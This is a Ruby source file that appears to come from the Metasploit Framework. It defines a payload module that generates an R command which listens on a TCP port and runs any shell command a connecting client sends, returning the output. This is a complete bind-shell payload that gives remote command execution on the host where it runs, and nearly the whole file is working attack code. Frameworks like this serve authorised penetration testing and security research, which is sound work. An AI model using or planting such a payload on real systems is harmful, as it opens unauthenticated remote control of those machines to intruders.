Unix Command Shell, Bind TCP (via R)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  CachedSize = 132

  include Msf::Payload::Single
  include Msf::Payload::R
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
     'Name'        => 'Unix Command Shell, Bind TCP (via R)',
     'Description' => 'Continually listen for a connection and spawn a command shell via R',
     'Author'      => [ 'RageLtMan <rageltman[at]sempervictus>' ],
     'License'     => MSF_LICENSE,
     'Platform'    => 'unix',
     'Arch'        => ARCH_CMD,
     'Handler'     => Msf::Handler::BindTcp,
     'Session'     => Msf::Sessions::CommandShell,
     'PayloadType' => 'cmd',
     'RequiredCmd' => 'R',
     'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
          ))
    register_advanced_options(
      [
        OptString.new('RPath', [true, 'The path to the R executable', 'R'])
      ]
    )
  end

  def generate(_opts = {})
    return prepends(r_string)
  end

  def prepends(r_string)
    return "#{datastore['RPath']} -e \"#{r_string}\""
  end

  def r_string
    return "s<-socketConnection(port=#{datastore['LPORT']}," +
      "blocking=TRUE,server=TRUE,open='r+');while(TRUE){writeLines(readLines" +
      "(pipe(readLines(s,1))),s)}"
  end
end